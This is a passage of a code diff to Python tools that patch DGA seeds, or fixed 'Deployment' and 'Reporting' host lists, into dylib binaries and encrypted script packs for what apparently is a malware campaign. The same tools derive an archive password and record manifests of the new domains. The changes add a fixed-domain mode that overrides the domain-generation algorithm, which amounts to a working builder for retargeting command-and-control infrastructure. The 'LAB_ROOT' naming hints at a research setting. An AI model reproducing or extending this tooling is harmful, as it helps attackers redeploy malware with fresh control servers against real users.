n.endswith(".pyc")} + + +def ensure_working_tree(root: Path) -> None: + """If web/sync missing under root, copy from source/ (same as new_project --skip-patch).""" + camp = root / "web" / CAMPAIGN_HASH + sync = root / "sync" + if camp.is_dir() and sync.is_dir(): + return + src_web = SOURCE_ROOT / "web" + src_sync = SOURCE_ROOT / "sync" + if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir(): + raise SystemExit( + f"missing working tree and source template.\n" + f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}" + ) + print("=== bootstrap working tree from source/ ===") + for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")): + if dst.exists(): + shutil.rmtree(dst) + shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) + print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}") + print() + + def main() -> int: parser = argparse.ArgumentParser( description=( - "Generate Deployment/Reporting seeds, run patch_secondary_packs → " - "patch_core → compute_dga_domains, print final domains." + "Patch type0x01 + core/daily. Use either DGA seeds (default random) " + "or fixed --deployment-domains / --reporting-domains." ) ) + parser.add_argument("--deployment-seed", help="optional; default: random 32 hex") + parser.add_argument("--reporting-seed", help="optional; default: random 32 hex") parser.add_argument( - "--deployment-seed", - help="optional; default: random 32 hex chars", + "--deployment-domains", + action="append", + default=[], + help="fixed Deployment hosts (comma-separated or repeatable)", ) parser.add_argument( - "--reporting-seed", - help="optional; default: random 32 hex chars", + "--reporting-domains", + action="append", + default=[], + help="fixed Reporting hosts (comma-separated or repeatable)", ) parser.add_argument( "--root", @@ -47,24 +83,29 @@ def main() -> int: parser.add_argument( "--apply", action="store_true", - help="pass --apply to patch_secondary_packs and patch_core (write into --root)", + help="write into --root web/ + sync/", ) parser.add_argument( "-n", "--count", type=int, default=5, - help="DGA candidates to print per pool (default 5)", + help="DGA candidates to print when not using fixed domains (default 5)", ) args = parser.parse_args() if args.apply and not args.root: raise SystemExit("--apply requires --root ") + if bool(args.deployment_domains) != bool(args.reporting_domains): + raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") + if args.apply and args.root: + ensure_working_tree(args.root.resolve()) + + fixed_mode = bool(args.deployment_domains) dep = args.deployment_seed or gen_seed() rep = args.reporting_seed or gen_seed() if dep == rep: - # avoid accidental identical pools while rep == dep: rep = gen_seed() @@ -76,6 +117,7 @@ def main() -> int: { "deployment_seed": dep, "reporting_seed": rep, + "mode": "fixed_domains" if fixed_mode else "dga", }, indent=2, ) @@ -83,6 +125,7 @@ def main() -> int: ) print("=== seeds ===") + print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}") print(f"deployment: {dep}") print(f"reporting: {rep}") print(f"saved: {seeds_path}") @@ -93,6 +136,12 @@ def main() -> int: py = sys.executable apply = ["--apply"] if args.apply else [] root = ["--root", str(args.root.resolve())] if args.root else [] + domain_args: list[str] = [] + if fixed_mode: + for item in args.deployment_domains: + domain_args += ["--deployment-domains", item] + for item in args.reporting_domains: + domain_args += ["--reporting-domains", item] print("=== 1/3 patch_secondary_packs ===") run( @@ -103,6 +152,7 @@ def main() -> int: dep, "--reporting-seed", rep, + *domain_args, *root, *apply, ] @@ -118,33 +168,49 @@ def main() -> int: dep, "--reporting-seed", rep, + *domain_args, *root, *apply, ] ) print() - print("=== 3/3 compute_dga_domains ===") - result = subprocess.run( - [ - py, - str(TOOLS / "compute_dga_domains.py"), - "--deployment-seed", - dep, - "--reporting-seed", - rep, - "-n", - str(args.count), - "--json", - ], - cwd=str(LAB_ROOT), - check=True, - capture_output=True, - text=True, - ) - domains = json.loads(result.stdout) domains_path = out_root / "domains.json" - domains_path.write_text(json.dumps(domains, indent=2) + "\n") + if fixed_mode: + # Prefer MANIFEST from patch_core output + manifest_path = out_root / "sync" / "MANIFEST.json" + if not manifest_path.is_file(): + manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json" + manifest = json.loads(manifest_path.read_text()) + domains = { + "mode": "fixed_domains", + "deployment": {"seed": dep, "domains": manifest["deployment_domains"]}, + "reporting": {"seed": rep, "domains": manifest["reporting_domains"]}, + } + domains_path.write_text(json.dumps(domains, indent=2) + "\n") + print("=== 3/3 fixed domains ===") + else: + print("=== 3/3 compute_dga_domains ===") + result = subprocess.run( + [ + py, + str(TOOLS / "compute_dga_domains.py"), + "--deployment-seed", + dep, + "--reporting-seed", + rep, + "-n", + str(args.count), + "--json", + ], + cwd=str(LAB_ROOT), + check=True, + capture_output=True, + text=True, + ) + domains = json.loads(result.stdout) + domains["mode"] = "dga" + domains_path.write_text(json.dumps(domains, indent=2) + "\n") print() print("=== final domains ===") diff --git a/tools/patch_core.py b/tools/patch_core.py index ac3c320..7200fad 100644 --- a/tools/patch_core.py +++ b/tools/patch_core.py @@ -23,6 +23,7 @@ from _common import ( tree_root, validate_seed_arg, ) +from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib import _common import sys @@ -93,6 +94,18 @@ def main() -> int: ) parser.add_argument("--deployment-seed", required=True) parser.add_argument("--reporting-seed", required=True) + parser.add_argument( + "--deployment-domains", + action="append", + default=[], + help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.", + ) + parser.add_argument( + "--reporting-domains", + action="append", + default=[], + help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.", + ) parser.add_argument( "--root", type=Path, @@ -111,6 +124,18 @@ def main() -> int: args = parser.parse_args() dep = validate_seed_arg("--deployment-seed", args.deployment_seed) rep = validate_seed_arg("--reporting-seed", args.reporting_seed) + fixed_dep = ( + parse_domain_list(args.deployment_domains, label="deployment") + if args.deployment_domains + else None + ) + fixed_rep = ( + parse_domain_list(args.reporting_domains, label="reporting") + if args.reporting_domains + else None + ) + if (fixed_dep is None) ^ (fixed_rep is None): + raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") if args.root: set_tree_root(args.root) @@ -137,6 +162,15 @@ def main() -> int: expect_rep=2, label="core/tmp.dylib", ) + if fixed_dep is not None and fixed_rep is not None: + patched = patch_fixed_domains_in_dylib( + patched, + fixed_dep, + fixed_rep, + deployment_seed=dep, + reporting_seed=rep, + label="core/tmp.dylib", + ) digest = sha256_hex(patched) size = len(patched) password = derive_archive_password() @@ -161,15 +195,18 @@ def main() -> int: json.dumps(json.loads(config_bytes), indent=2) + "\n" ) + dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5) + rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5) manifest = { "deployment_seed": dep, "reporting_seed": rep, + "mode": "fixed_domains" if fixed_dep is not None else "dga", "core_sha256": digest, "core_size": size, "daily_sha256": sha256_hex(daily_wire), "erupt_flee_sha256": sha256_hex(erupt_wire), - "deployment_domains": generate_domains(dep, 5), - "reporting_domains": generate_domains(rep, 5), + "deployment_domains": dep_domains, + "reporting_domains": rep_domains, } (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n") diff --git a/tools/patch_secondary_packs.py b/tools/patch_secondary_packs.py index 06a0adc..b336d46 100644 --- a/tools/patch_secondary_packs.py +++ b/tools/patch_secondary_packs.py @@ -20,6 +20,7 @@ from _common import ( tree_root, validate_seed_arg, ) +from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs import _common @@ -56,9 +57,33 @@ def main() -> int: action="store_true", help="also copy outputs into /web/.../", ) + parser.add_argument( + "--deployment-domains", + action="append", + default=[], + help="fixed Deployment hosts (comma-separated or repeatable); skips DGA", + ) + parser.add_argument( + "--reporting-domains", + action="append", + default=[], + help="fixed Reporting hosts (comma-separated or repeatable); skips DGA", + ) args = parser.parse_args() dep = validate_seed_arg("--deployment-seed", args.deployment_seed) rep = validate_seed_arg("--reporting-seed", args.reporting_seed) + fixed_dep = ( + parse_domain_list(args.deployment_domains, label="deployment") + if args.deployment_domains + else None + ) + fixed_rep = ( + parse_domain_list(args.reporting_domains, label="reporting") + if args.reporting_domains + else None + ) + if bool(fixed_dep) != bool(fixed_rep): + raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") if args.root: set_tree_root(args.root) @@ -79,7 +104,7 @@ def main() -> int: for group, path in GROUP_DYLIBS.items(): if not path.is_file(): raise SystemExit(f"missing source dylib: {path}") - patched[group] = patch_seeds_in_dylib( + data = patch_seeds_in_dylib( path.read_bytes(), dep, rep, @@ -87,6 +112,16 @@ def main() -> int: expect_rep=1, label=path.name, ) + if fixed_dep is not None and fixed_rep is not None: + data = patch_fixed_domains_in_dylib( + data, + fixed_dep, + fixed_rep, + deployment_seed=dep, + reporting_seed=rep, + label=path.name, + ) + patched[group] = data print( f"group {group}: patched {path.name} " f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}" @@ -121,6 +156,9 @@ def main() -> int: manifest = { "deployment_seed": dep, "reporting_seed": rep, + "mode": "fixed_domains" if fixed_dep is not None else "dga", + "deployment_domains": fixed_dep, + "reporting_domains": fixed_rep, "files": built, "group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()}, }